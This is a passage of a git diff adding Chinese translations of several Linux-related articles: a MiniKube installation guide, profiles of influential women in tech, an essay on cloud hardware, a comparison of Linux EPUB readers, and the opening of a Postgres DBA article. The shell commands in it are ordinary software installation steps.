Linux 8 或 AlmaLinux 8 软件包仓库中。因此,我们将使用下面的命令手动安装它: + +``` +$ curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" +$ sudo cp kubectl /usr/local/bin/ && sudo chmod +x /usr/local/bin/kubectl +$ kubectl version --client +``` + +以上命令的输出如下所示: + +![][3] + +### 步骤 4)下载 MiniKube 二进制文件并启动集群 + +安装 `kubectl` 后,让我们使用以下命令下载并安装 MiniKube 二进制文件: + +``` +$ curl -LO https://storage.googleapis.com/minikube/releases/latest/minikube-linux-amd64 +$ sudo install minikube-linux-amd64 /usr/local/bin/minikube +``` + +现在使用下面的命令启动 MiniKube 集群: + +``` +$ minikube start --driver docker +``` + +![][4] + +上面的输出确认 `minikube` 命令已经使用 `docker` 作为驱动程序启动了单节点 Kubernetes 集群。 + +运行下面的 `minikube` 命令来验证本地 Kubernetes 集群的状态: + +``` +$ minikube status +minikube +type: Control Plane +host: Running +kubelet: Running +apiserver: Running +kubeconfig: Configured +$ +$ minikube ip +192.168.49.2 +$ +``` + +要停止 MiniKube 集群,请执行: + +``` +$ minikube stop +``` + +执行 `kubectl` 命令查看集群和节点信息: + +``` +$ kubectl cluster-info +$ kubectl get nodes +``` + +![][5] + +### 步骤 5)测试和验证 Kubernetes 集群 + +为了测试 Kubernetes 集群,让我们尝试使用 echo 服务器镜像创建 k8s 部署,它相当于 HTTP Web 服务器并将其作为服务暴露在端口 8080 上: + +``` +$ kubectl create deployment test-minikube --image=k8s.gcr.io/echoserver:1.10 +deployment.apps/test-minikube created +$ +``` + +要访问 `test-minikube` 部署,将其公开为服务,运行以下命令: + +``` +$ kubectl expose deployment test-minikube --type=NodePort --port=8080 +service/test-minikube exposed +$ +``` + +运行以下 `kubectl` 命令以获取上面创建的部署、容器荚pod 和服务信息: + +``` +$ kubectl get deployment,pods,svc +``` + +![][6] + +要访问服务,请通过运行下面的命令获取其 URL: + +``` +$ minikube service test-minikube --url +http://192.168.49.2:32291 +$ +$ curl http://192.168.49.2:32291/ +``` + +![][7] + +太好了,这意味着我们的 Kubernetes 集群工作正常,因为我们能够访问我们的示例应用。 + +##### 步骤 6)启用 MiniKube 插件 + +MiniKube 提供插件,可以为我们的集群添加额外的功能。要列出所有可用的插件,运行: + +``` +$ minikube addons list +``` + +![][8] + +Kubernetes 附带一个仪表板,可让你管理集群。在 MiniKube 中,仪表板已作为插件添加。所以要启用它,运行: + +``` +$ minikube addons enable dashboard +``` + +还要启用 nginx 入口控制器,运行: + +``` +$ minikube addons enable ingress +``` + +![][9] + +要访问仪表板,运行: + +``` +$ minikube dashbaord --url +``` + +这将在你系统的浏览器中启动仪表板。 + +![][10] + +就是这些了。我们已经成功地在 RHEL 8、Rocky Linux 8 或 AlmaLinux 8 上使用 MiniKube 安装了 Kubernetes。欢迎你在下面的评论部分分享你的反馈和意见。 + +-------------------------------------------------------------------------------- + +via: https://www.linuxtechi.com/install-minikube-on-rhel-rockylinux-almalinux/ + +作者:[Pradeep Kumar][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.linuxtechi.com/author/pradeep/ +[b]: https://github.com/lkxed/ +[1]: https://www.linuxtechi.com/wp-content/uploads/2020/04/Enable-Docker-Repo-RHEL8-Rocky-Linux8-1024x203.png +[2]: https://www.linuxtechi.com/wp-content/uploads/2020/04/Install-Docker-DNF-Command-RHEL8-RockyLinux8.png +[3]: https://www.linuxtechi.com/wp-content/uploads/2020/04/Download-Kubectl-Binary-RHEL8-RockyLinux8.png +[4]: https://www.linuxtechi.com/wp-content/uploads/2020/04/Start-Minikube-Cluster-RHEL8-Rocky-Linux8.png +[5]: https://www.linuxtechi.com/wp-content/uploads/2020/04/K8s-cluster-info-RHEL8-RockyLinux9-1024x193.png +[6]: https://www.linuxtechi.com/wp-content/uploads/2020/04/Kubectl-get-pods-deplyments-service-rhel8-rocky-linux8.png +[7]: https://www.linuxtechi.com/wp-content/uploads/2020/04/Access-Application-minikube-rhel8-rockylinux8.png +[8]: https://www.linuxtechi.com/wp-content/uploads/2020/04/minikube-addons-list-rhel8-rockylinux8.png +[9]: https://www.linuxtechi.com/wp-content/uploads/2020/04/Enable-Minikube-addons-RHEL8-RockyLinux9-1024x381.png +[10]: https://www.linuxtechi.com/wp-content/uploads/2020/04/Kubernetes-Dashboard-MiniKube-Dashboard.png +[0]: https://img.linux.net.cn/data/attachment/album/202303/15/232024hn8312yg1qmy7mhv.jpg \ No newline at end of file diff --git a/published/20230308.3 ⭐️ 8 examples of influential women in tech.md b/published/20230308.3 ⭐️ 8 examples of influential women in tech.md new file mode 100644 index 0000000000..87bf5ca575 --- /dev/null +++ b/published/20230308.3 ⭐️ 8 examples of influential women in tech.md @@ -0,0 +1,101 @@ +[#]: subject: "8 examples of influential women in tech" +[#]: via: "https://opensource.com/article/23/3/international-womens-day-tech-influence" +[#]: author: "AmyJune Hineline https://opensource.com/users/amyjune" +[#]: collector: "lkxed" +[#]: translator: "XiaotingHuang22" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15621-1.html" + +8 位有影响力的科技界女性 +====== + +![][0] + +> 社区成员分享了影响了其科技生涯的重要女性的故事。 + +一段开源之旅往往不是独自一人能完成的。你的爱好、职业和生活都受到了科技领域其他人的影响,而数据表明这其中一些影响力来自于女性。这是国际妇女节存在的众多原因之一,也是一起回顾你技术职业生涯中的女性的一个很好的理由。我们向 Opensource.com 的贡献者询问了他们的想法。 + +### 励志的女性们 + +#### Kathleen Greenaway 博士 + +我的大学教授 [Kathleen Greenaway 博士][1] 是激励过我的女性之一。她正是我想成为的人。我记得她在一次关于打破玻璃天花板的女性活动中说,她无法相信这么多年后我们还在谈论这个问题。我现在发现自己也是这么想的。这只是其中一个例子,但她就是这样。 + +—— [Shanta Nathwani][2] + +#### Hilary Mason + +我对 PHP 的入门要归功于 [Hilary Mason][3]。当她在普罗维登斯 RI 的 Johnson & Wales 担任教授时,她开了一门服务器端编程的选修课。她向我们展示了 PHP,并在最后一个项目中让我们使用数据库构建了一些东西。我记得我建立了一个简单的登录系统和一个评论工具之类的。我喜欢告诉人们我是从一个女性那里学来的 PHP(她还是 bit.ly 的首席数据科学家!) + +—— [John E. Picozzi][4] + +#### Carie Fisher + +对我来说,科技界最鼓舞人心的女性是 [Carie Fisher][5]。我是在刚开始参与无障碍社区时遇到的她。她邀请我一起帮助项目,并在我申请工作、获得认证和在会议上发言时帮助我克服了冒名顶替综合症。在对技术包容性的激情和奉献精神上,只有少数人能与她相提并论。 + +—— [AmyJune Hineline][6] + +#### Kanopi Studios + +我在技术领域工作了 25 年,并且经常是公司或部门中唯一的女性开发人员。然后我加入了 Kanopi Studios,这是一家由女性拥有和领导的机构,这里有许多聪明、精通技术的女性员工,我每天都从她们那里得到启发。我的性别不再是我事业成功的障碍。我感觉自己受到尊重和并被倾听,我的成就也得到认可。 + +—— [Cindy Williams][7] + +#### Barbara Liskov 和 Sandi Metz + +我认为 Barbara Liskov 是我们领域中最有影响力的人物之一,我也非常喜欢 Sandi Metz,她的演讲和教学技巧对我的职业生涯帮助很大。我推荐她的所有书籍和会议视频。 + +—— [benelori][8] + +#### 家庭 + +在我的生活中,无论是个人还是职业上,我受到了许多女性的启发。我总是说我的母亲、姐姐和祖母在所有事情上都是我很好的参考对象。我现在有很棒的同事,他们也是我的榜样。我总是这样想:尽力和那些对你很重要的人保持紧密联系。在我刚学习编程开发那时候,我们没有任何参考榜样。没有人告诉我们 [第一个程序员是女性][9],亦或我们能够拥有 WiFi 和 GPS 是多亏了一位女性。我现在正在读一本非常好的书 —— 《[The Invisible Woman][10]》,我强烈推荐。 + +—— [Marta Torre][11] + +#### Sarah Drasner + +《[我们其他人的工程管理][12]》由一位杰出的科技女性撰写,作者是 Sarah Drasner。这本书让我注意到了另一位杰出的科技女性。这本书(还有我们出色的开发经理 Jody,她将书的副本发给了业内的所有领头人物)促使我做出了一个决定——不断深化讨论,了解我们在面对反馈时的不同经历。我们意识到很多人可能甚至不知道如何谈论他们需要什么或者什么对他们有用。因此,我们希望可以用一场公开或随意的聊天对话作为一次非常有用的协作学习体验,在对话中,人们分享一些好的和坏的经历(当然这些分享都是非强制的)并看一些不同风格的案例。 + +—— [Fei Lauren][13] + +#### Sheryl Sandberg + +在德国汉诺威举行的 WomenPower 会议上,有人推荐给我人生中的第一本关于科技界女性的书,它是雪莉·桑德伯格Sheryl Sandberg 的 《[精益求精:女性、工作和领导意愿][14]》。我不仅对她自己的工作方式印象深刻,还对她如何成功地运用我们作为女性被赋予的权力以及她和公司的成功的是如何改变了我们的事例感到钦佩不已。 + +—— [Anne Faulhaber][15] + +### 自己的影响力 + +在开源领域,或许比其他地方更甚,我们都是彼此影响着的。共享和协作的精神植根于开源的发展过程。告诉我们你在开源之旅中受到过谁的影响吧。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/international-womens-day-tech-influence + +作者:[AmyJune Hineline][a] +选题:[lkxed][b] +译者:[XiaotingHuang22](https://github.com/XiaotingHuang22) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/amyjune +[b]: https://github.com/lkxed/ +[1]: https://www.linkedin.com/in/kathleen-greenaway-4076247/ +[2]: https://opensource.com/users/shanta +[3]: https://en.wikipedia.org/wiki/Hilary_Mason_(data_scientist)?wprov=sfti1 +[4]: https://opensource.com/users/johnpicozzi +[5]: https://www.linkedin.com/in/cariefisher +[6]: https://opensource.com/users/amyjune +[7]: https://opensource.com/users/cindytwilliams +[8]: https://opensource.com/users/benelori +[9]: https://opensource.com/article/18/10/first-computer-programmer-ada-lovelace +[10]: https://www.penguinrandomhouse.com/books/623964/the-invisible-woman-by-erika-robuck/ +[11]: https://opensource.com/users/martatorredev +[12]: https://www.engmanagement.dev/ +[13]: https://opensource.com/users/feilauren +[14]: https://leanin.org/book +[15]: https://opensource.com/users/afaulhab +[0]: https://img.linux.net.cn/data/attachment/album/202303/12/230653haa2i2ss87k0zvy3.jpg \ No newline at end of file diff --git a/published/20230308.4 ⭐️⭐️ What cloud developers need to know about hardware.md b/published/20230308.4 ⭐️⭐️ What cloud developers need to know about hardware.md new file mode 100644 index 0000000000..6d6a447ad1 --- /dev/null +++ b/published/20230308.4 ⭐️⭐️ What cloud developers need to know about hardware.md @@ -0,0 +1,63 @@ +[#]: subject: "What cloud developers need to know about hardware" +[#]: via: "https://opensource.com/article/23/3/cloud-hardware" +[#]: author: "Jay Faulkner https://opensource.com/users/jayf" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15634-1.html" + +云开发人员需要了解的硬件知识 +====== + +![][0] + +> 云无处不在,所以硬件比以往任何时候都更加关键。 + +我们很容易忘记技术人员所取得的进步。在 2000 年代初期,大多数本地用户组(LUG)定期举行安装节。那时,要配置一台机器来很好地运行 Linux,我们必须了解有关硬件的详细信息以及如何配置它。现在,将近二十年后,有了一个项目,其核心理想是让一台计算机运行 Linux 就像 API 调用一样简单。在这个新世界中,运维人员和开发者等不再需要担心服务器中的硬件。这种变化对下一代的运维人员和开发者产生了深远的影响。 + +在计算机技术的早期,你不得不经常接触硬件。如果计算机需要更多内存,你只需添加它即可。随着时间的推移,技术也有了很大的发展。这最终使运维人员远离硬件。过去需要去数据中心一趟,现在变成了远程操作硬件的支持工单。最终,硬件被完全摆脱了。相反,你现在可以通过简单的命令召唤和摧毁“服务器”,而不必再担心硬件问题。 + +这里是真正的真相:硬件的存在是因为需要它来为云提供动力。但是,云到底是什么? + +### 为什么硬件对云至关重要 + +云是建立在利用抽象集中的基础资源之上的。它的范围可以从简单的在你的 [家庭实验室][1] 中运行几个虚拟机的管理程序,到复杂的包括定制服务器、网络设备、容器和从头开始设计的专注于规模效率的技术。 + +它们是模糊的。它们在进化。 + +今天那些进入技术领域的人没有那些更有经验的开发人员实践经验。许多人从最早与计算机交互时就接受过使用云的培训。他们不知道不用按钮来更改内存分配的世界。他们可以将注意力转移到技术栈的更高层次。然而,如果不了解他们所使用的基础架构所建立的基础,他们就会含蓄地放弃学习栈较低级别(包括硬件)的机会。这里没有说错,因为云基础设施的实施者和运维人员已经做出了特定的选择,有意让他们的产品更易于使用。 + +这意味着现在,你比以往任何时候都更需要有意识地考虑在选择使用云技术时你或其他人做出的权衡。大多数人在收到第一份超额的云账单或第一次因“吵闹的邻居”造成的中断之前,不会知道已经做出了哪些权衡。企业能否信任他们的供应商做出最适合他们运营的权衡?供应商会建议更有效或更有利可图的服务吗?让买家(或工程师!)当心。 + +有意识地考虑权衡取舍需要从多个角度审视你的要求和目标。基础设施决策和其中的权衡是该项目的整个过程、设计或使用模型所固有的。这就是为什么必须尽快计划它们的原因。必须考虑多种不同的路径,以便为你的项目找到一个合适的归宿。 + +首先是要实现的目标或提供的服务的轴心。这可能伴随着速度、质量或性能方面的要求。这本身可以驱动许多变量。你可能需要专用硬件(例如 GPU)才能以可接受的速度处理请求。此负载是否需要自动缩放?当然,这些路径是交织在一起的。问题已经跳转到“我的钱包会自动缩放吗?” + +业务需求是要考虑的另一部分。你的项目可能有特定的安全或合规性要求,这些要求规定了数据的存储位置。邻近相关服务也是一个潜在的问题。这包括确保与附近证券交易所的 [低延迟连接][3] 或能够提供高质量的本地视频缓存作为内容交付网络(CDN)的一部分。 + +然后是最后一部分,即所提供服务的价值和成本:一个人希望或可以花多少钱来满足要求。这与第一条路径紧密相关。你的业务是“什么”以及你的业务“如何”运作。这可以像你的企业更喜欢资本支出还是更喜欢运营支出一样普通。 + +当看到这些选项时,很容易看到改变任何一个变量都会开始改变其他变量。它们在本质上是相互交织的,一些技术可能允许这些变量动态变化。如果不了解较低层次的底层,你就有可能采取推动这种动态计费模式的路径。对一些人来说,这是首选。对其他人来说,这可能是令人恐惧的。 + +尽管在现代技术栈中,学习特定的硬件知识已变得更加可有可无,但我们希望这篇文章能鼓励你去研究你可能在不知不觉中错过的东西。硬件的改进是功能交付和效率提高的一个重要部分,将计算机从房间大小的怪物缩小到小到可以植入人体内。我们希望你花时间停下来,学习并考虑你的下一个项目将在什么硬件平台上运行,即使你不控制它。 + +如果你是一个还没有把头从云端拿出来的学生,去找一台 [旧电脑][5],安装一根内存,挑战自己,学习新东西。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/23/3/cloud-hardware + +作者:[Jay Faulkner][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jayf +[b]: https://github.com/lkxed/ +[1]: https://www.redhat.com/sysadmin/linux-homelab-rhel?intcmp=7013a000002qLH8AAM +[3]: https://enterprisersproject.com/article/2022/5/edge-computing-latency-matters?intcmp=7013a000002qLH8AAM +[5]: https://opensource.com/article/22/4/how-linux-saves-earth +[0]: https://img.linux.net.cn/data/attachment/album/202303/16/235848zp97m0b7en0nwm7e.jpg \ No newline at end of file diff --git a/published/20230308.7 ⭐️⭐️ Top 5 Best EPUB Readers for Linux [Compared].md b/published/20230308.7 ⭐️⭐️ Top 5 Best EPUB Readers for Linux [Compared].md new file mode 100644 index 0000000000..64ad2acd48 --- /dev/null +++ b/published/20230308.7 ⭐️⭐️ Top 5 Best EPUB Readers for Linux [Compared].md @@ -0,0 +1,279 @@ +[#]: subject: "Top 5 Best EPUB Readers for Linux [Compared]" +[#]: via: "https://www.debugpoint.com/epub-readers-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15651-1.html" + +Linux 上 5 款最好的 EPUB 阅读器 +====== + +![][0] + +> 你正在寻找 Linux 上最好的 EPUB 阅读器?这里是为你准备的最好的自由开源的 EPUB 阅读器。 + +你是一位热衷于阅读电子书的 Linux 用户吗?如果,是的,你必然知道在 Linux 发行版上的默认文档阅读器不能满足你作为一名书虫的所有要求。 + +EPUB 是一种广泛使用的开放电子书格式,大多数的电子书阅读器都支持。值得庆幸的是,在 Ubuntu 软件中心和其它存储库中有一些 EPUB 阅读器应用程序,你可以自由下载它们。. + +但是,请记住,仅有几个好用的阅读器。并不是有很多! + +在这篇文章中,我们将讨论在 Ubuntu Linux 上的最好的 EPUB 阅读器,这将增强你的阅读体验。我们也将探讨它们的特色功能和优点,以便你可以选择一个适合你的应用程序。 + +但是,在此之前,你认为在一个 “令人满意的” EPUB 阅读器中,应该有哪些功能呢? + +### 在一款 EPUB 阅读器中所应该有的功能 + +- **用户界面**:一款好的 EPUB 阅读器应该有一个简单易懂的用户界面,它会使导航和自定义你的阅读体验变得简单。你并不是在阅读一本实体书,因此,对于 “实体书” 的阅读体验来说,用户界面是极其重要的! +- **自定义**:拥有自定义字体大小、字体类型、背景颜色和其它设置的能力,它们将增强你的阅读体验。 +- **书架**:书架是一种很方便的特色功能,它允许你组织你的 EPUB 文件和保持追踪你的阅读进度。 +- **注释**:在你的 EPUB 文件中,高亮显示、下划线和添加注释是一种很重要的特色功能,它会帮助你记住重点。 +- **同步**:如果你在多台设备上阅读 EPUB 文件,同步你的阅读进度和书签是非常重要的,可以避免丢失你的追踪进度. + +现在,让我们看看为 Ubuntu 和其它的 Linux 发行版提供的最好的 EPUB 阅读器,它们都涉及上述所有的特色功能。 + +### 在 Ubuntu 和其它 Linux 发行版上的最好的 EPUB 阅读器 + +#### Calibre + +在这份列表上的第一款阅读器是 Calibre ,它是最好的和最完善的电子书管理解决方案。它是一款功能强大的 EPUB 阅读器,也提供电子书管理工具。它在用户中是一种流行的选择,因为它有丰富的特色功能集,包括:转换 EPUB 文件到不同的格式、编辑 EPUB 文件,甚至创建你自己的 EPUB 文件的功能。Calibre 也有一个用户友好的界面,允许你自定义你的阅读体验。 + +![Calibre welcome wizard][1] + +Calibre 正在持续更新,每个月都会有大量的特色功能和增强的功能。它的开发活动是非常活跃的,它是这份列表中最好的一个。 + +功能摘要: + +- 支持多种电子书设备(基于安卓、iOS 的设备) +- EPUB 阅读器和管理器 +- 为你的电子书库评级和标记 +- 从互联网获取电子书的元数据 +- 从流行的新闻源处阅读新闻,并制作电子书! +- 使用自动转换器来上传电子书到 Kindle 和其它的阅读器(当然,也可以下载) +- 内置可购买电子书的浏览器 + +![Calibre main window][2] + +![Uploading books to Calibre][3] + +你可以从其官方网站下载 Calibre 。或者,你可以为你的 Linux 发行版 [设置 Flatpak & Flathub][4] ,并单击下面的按钮(或使用命令)来安装: + +> **[使用 Flatpak 来安装 Calibre][5]** + +``` +flatpak install com.calibre_ebook.calibre +``` + +针对其它的下载选项(Windows、macOS 和原生的 Linux 软件包),请访问 [这个网页][6]。 + +#### Foliate + +我们在先前的 [最佳的 Ubuntu 应用程序(第 3 部分)][7] 系列中介绍了 Foliate 。它是一款轻量现代的 EPUB 阅读器,它提供了一系列的自定义选项。它是基于 GTK4 的,并且与 GNOME 桌面环境无缝集成。它有一个平滑且易于导航的界面,并且有自定义字体大小、字体类型和行距的功能。 + +![Foliate main window and settings][8] + +Foliate 也包含:一种针对夜间阅读的深色模式,一个调整内置颜色温度的选项,用以减少眼睛疲劳。 + +功能摘要: + +- 沉浸式视图,主顶部工具条在阅读时自动隐藏 +- 列入目录视图,支持从主要的电子书网站直接下载 +- 多屏视图 – 双页面视图和滚动视图 +- 自定义字体和行距 +- 内置亮度控制,仅应用于应用程序本身! +- 阅读进度滑块 +- 支持书签和注释 +- 在书中搜索 +- 快速字典查找 + +![Foliate reader view][9] + +![Foliate library view][10] + +下载 Okular 的最好方式是使用 Flatpak 来下载。针对你的系统设置 [Flatpak & Flathub][4] ,并使用下面的链接(或使用下面提到的命令)来安装它: + +> **[使用 Flatpak 来安装 Foliate][11]** + +``` +flatpak install com.github.johnfactotum.Foliate +``` + +要学习更多关于 Foliate 的信息,访问官方 [网站][12]。 + +#### Okular + +KDE 自带的文档阅读器是 Okular ,它也支持 EPUB 文件。它是一款功能丰富的应用程序,它提供了一系列自定义选项,包括:字体大小、字体类型和背景颜色。Okular 也有内置注释功能,你可以使用它来注释你的 EPUB 文件。它也支持很多文件格式: + +- EPUB +- PDF +- DjVU +- 图形文件: JPEG 、PNG 、GIF 、Tiff 、WebP +- 漫画文件: CBR 和 CBZ + +不过,你不能使用 Okular 来管理收藏或下载电子书。 + +![Okular][13] + +你可以在 Ubuntu 及其相关发行版中安装 Okular : + +``` +sudo apt install okular +``` + +针对 Fedora 及其相关发行版: + +``` +sudo dnf install okular +``` + +如果你更喜欢 Flatpak ,将你的系统设置为 Flatpak ,并使用下面的链接(或使用下面提到的命令)来安装 Flatpak: + +> **[使用 Flatpak 格式安装 Okular][14]** + +``` +flatpak install org.kde.okular +``` + +#### Bookworm + +在这份列表上的下一个 EPUB 阅读器是 Bookwork ,在我看来,它完全被低估了。它确实是一款 elementary OS 的应用程序,但是,对于所有的 Linux 发行版来说都是可以安装的。 + +它有简洁的界面,并提供一系列自定义选项,包括字体大小、字体类型和背景颜色。Bookworm 也允许你将你的 EPUB 文件组织到集合中,并保持追踪你的阅读进度。 + +![Bookworm library view][15] + +另外,你可以使用一个内置的标签编辑器和评分系列来轻松地管理你的 EPUB 书籍。此外,它也支持注释、搜索、章节和键盘导航。 + +不可缺少的是,它支持 EPUB 、MOBI 、PDF 、EB2 、CBR 和 CBZ 文件。 + +![Bookworm EPUB reader view][16] + +安装是很容易的。如果你是一名 elementary OS 用户,你可以在 应用中心AppCenter 中搜索 “bookworm” 。 + +针对 Ubuntu 及其相关发行版,你可以使用下面的 PPA 来安装它: + +``` +sudo add-apt-repository ppa:bookworm-team/bookwormsudo +apt-get update +sudo apt-get install com.github.babluboy.bookworm +``` + +如果你更喜欢 Flatpak ,将你的系统设置为 Flathub 和 Flatpak ,并使用下面的链接来安装它: + +``` +flatpak install com.github.babluboy.bookworm +``` + +要学习更多的信息,访问官方 [网站][17]。 + +#### FBReader + +在这份最好的 EPUB 阅读器列表中最后一款应用程序是 FBReader 。在你继续阅读之前,注意:它在 2015 年以前是开源软件。但是,它现在是闭源软件,不过,有一个开发者 SDK 是可用的。 + +它是一款流行的多功能的 EPUB 阅读器,所有的 Linux 发行版都可以获取使用。它有一个简单且用户友好的界面,允许你自定义你的阅读体验。FBReader 也支持各种电子书格式,包括:EPUB 、MOBI 、FB2 和 HTML 。它也提供一种书架特色功能,允许你组织你的电子书和保持追踪你的阅读进度。 + +FBRedaer 也支持在你的设备之间云同步你的库。 + +![FBReader][18] + +在 Linux 上安装 FBReader 是有一些难度的,因为它只提供 Snap 软件包。你可以在 [针对 Snap 设置你的系统][19] 后,使用 `snap` 来安装它,如下所示。 + +``` +sudo snap install fbreader +``` + +要学习更多关于 FBReader 的信息,访问官方 [网站][20]。 + +### 在 Linux 上的更多的 EPUB 阅读器 + +#### Koodo reader + +它是一个相当新的自由及开源的 EPUB 阅读器,带有大量的特色功能。并且它也看起来极好。唯一的问题是,它是使用 Javascript 、HTML 和 TypeScript 构建的。因此,它不是原生的应用程序,但是它是很快的。你可能会想尝试一下。在 Linux 上,Koodo reader 提供 AppImage 、本机的 deb 和 RPM 文件。 + +你可以 [在这里下载][21] ,这里是一些截屏。 + +![Koodo EPUB reader][22] + +![Koodo - reader view][23] + +![Koodo options][24] + +这里还有另外的两个 EPUB 阅读器,但是,不幸的是,它们已经不再继续开发了。 + +- [GNOME Books][25] +- [epub CLI reader][26] + +### EPUB 阅读器的对比表 + +为使你更容易地选择适合你所需要的 EPUB 阅读器,我们创建了一个比较表,着重强调了上述 EPUB 阅读器的关键特色功能。 + +| EPUB 阅读器 | 用户界面 | 自定义 | 书架 | 注释 | 同步 | +| :- | :- | :- | :- | :- | :- | +| Calibre | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | +| Foliate | ✔️ | ✔️ | ✔️ | ✔️ | ❌ | +| Bookworm | ✔️ | ✔️ | ✔️ | ❌(受限)| ❌ | +| Okular | ✔️ | ✔️ | ❌ | ❌(受限)| ❌ | +| FBReader | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ | + +### 去哪里获取免费的电子书? + +很多网站为你提供来自著名作者的大量漫画和小说的收藏。最好的网站是 “Project Gutenberg” 。你可以下载来自所有分类中的 60,000 多本电子书。 + +使用下面的链接访问网站。在你下载电子书后,你可以使用上述任意的 EPUB 阅读器来制作和享受你的个人电子书收藏。 + +> **[Project Gutenberg][27]** + +你也可以尝试精选免费电子书的 standard ebooks。 + +> **[Standard eBooks][28]** + +### 总结 + +总而言之,在 Linux 上有几个可用的 EPUB 阅读器,它们提供大量的特色功能来增强你的阅读体验。如果你正在寻找一个功能丰富的 EPUB 阅读器,Calibre 是一个极好的选择,它也可以作为一个电子书管理器工具。Foliate 和 Bookworm 是一个轻量的现代的应用程序,非常适合那些看重自定义选项的人。 + +我希望通过上述的比较和详细的描述,你现在可以为你自己选择最好的 EPUB 阅读器了。 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/epub-readers-linux/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed/ +[1]: https://www.debugpoint.com/wp-content/uploads/2023/03/Calibre-welcome-wizard.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2023/03/Calibre-main-window.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2023/03/Uploading-books-to-Calibre.jpg +[4]: https://www.debugpoint.com/how-to-install-flatpak-apps-ubuntu-linux/ +[5]: https://dl.flathub.org/repo/appstream/com.calibre_ebook.calibre.flatpakref +[6]: https://calibre-ebook.com/download +[7]: https://www.debugpoint.com/necessary-ubuntu-apps-2022/ +[8]: https://www.debugpoint.com/wp-content/uploads/2023/03/Foliate-main-window-and-settings.jpg +[9]: https://www.debugpoint.com/wp-content/uploads/2023/03/Foliate-reader-view.jpg +[10]: https://www.debugpoint.com/wp-content/uploads/2023/03/Foliate-library-view.jpg +[11]: https://dl.flathub.org/repo/appstream/com.github.johnfactotum.Foliate.flatpakref +[12]: https://johnfactotum.github.io/foliate/ +[13]: https://www.debugpoint.com/wp-content/uploads/2023/03/Okular.jpg +[14]: https://dl.flathub.org/repo/appstream/org.kde.okular.flatpakref +[15]: https://www.debugpoint.com/wp-content/uploads/2023/03/Bookworm-library-view.jpg +[16]: https://www.debugpoint.com/wp-content/uploads/2023/03/Bookworm-EPUB-reader-view.jpg +[17]: https://babluboy.github.io/bookworm/ +[18]: https://www.debugpoint.com/wp-content/uploads/2023/03/FBReader.jpg +[19]: https://www.debugpoint.com/how-to-install-and-use-snap-packages-in-ubuntu/ +[20]: https://fbreader.org/en +[21]: https://koodo.960960.xyz/en +[22]: https://www.debugpoint.com/wp-content/uploads/2023/03/Koodo-EPUB-reader.jpg +[23]: https://www.debugpoint.com/wp-content/uploads/2023/03/Koodo-reader-view.jpg +[24]: https://www.debugpoint.com/wp-content/uploads/2023/03/Koodo-options.jpg +[25]: https://gitlab.gnome.org/Archive/gnome-books +[26]: https://github.com/rupa/epub +[27]: https://www.gutenberg.org/ +[28]: https://standardebooks.org/ebooks +[0]: https://img.linux.net.cn/data/attachment/album/202303/22/210742rdxxnfmfxmtfxnzx.jpg \ No newline at end of file diff --git a/published/20230309.0 ⭐️ Postgres DevOps database administrator A day in the life.md b/published/20230309.0 ⭐️ Postgres DevOps database administrator A day in the life.md new file mode 100644 index 0000000000..5a4d65f1f1 --- /dev/null +++ b/published/20230309.0 ⭐️ Postgres DevOps database administrator A day in the life.md @@ -0,0 +1,73 @@ +[#]: subject: "Postgres DevOps database administrator: A day in the life" +[#]: via: "https://opensource.com/article/23/3/postgres-devops-dba" +[#]: author: "Doug Ortiz https://opensource.com/users/dougortiz" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15649-1.html" + +Postgres DevOps 数据库管理员的日常 +====== + +![][0] + +> 数据库管理员(DBA)的职责是什么? + +在依赖 Postgres 作为主要数据库管理系统的现代 IT 组织中,Postgres DevOps DBA 发挥着关键作用。Postgres DevOps DBA 的角色涉及许多职责、技能和任务。其中一些包括:管理数据库设计和架构、基础设施管理、确保高可用性、安全性以及执行日常维护任务(调整、备份和恢复以及监控)。 + +本文总结了当今企业环境中 Postgres DevOps DBA 的常见职责和技能。 + +### 数据库设计和架构 + +Postgres DevOps DBA 的两个主要职责是数据库设计和架构。该角色必须对应用的数据存储要求和涉及的业务逻辑有更深入的了解。这些知识包括设计和创建数据库模式和表。它还意味着配置索引和其他数据库对象以优化查询性能,并选择使用正确的 Postgres 版本。该角色必须确保数据库的设计具有可扩展性和可维护性,同时考虑到未来的增长和数据保留需求。 + +### 性能调优 + +另一个关键的职责是性能调优。Postgres DevOps DBA 必须能够通过监控数据库性能指标和分析查询性能来识别和解决性能问题。该角色还必须对数据库有深入的了解,并能够对其进行配置以获得最佳性能,包括优化查询和索引、调整内存设置以及识别和解决性能瓶颈。 + +### 备份与恢复 + +备份和恢复也是职责的关键。DBA 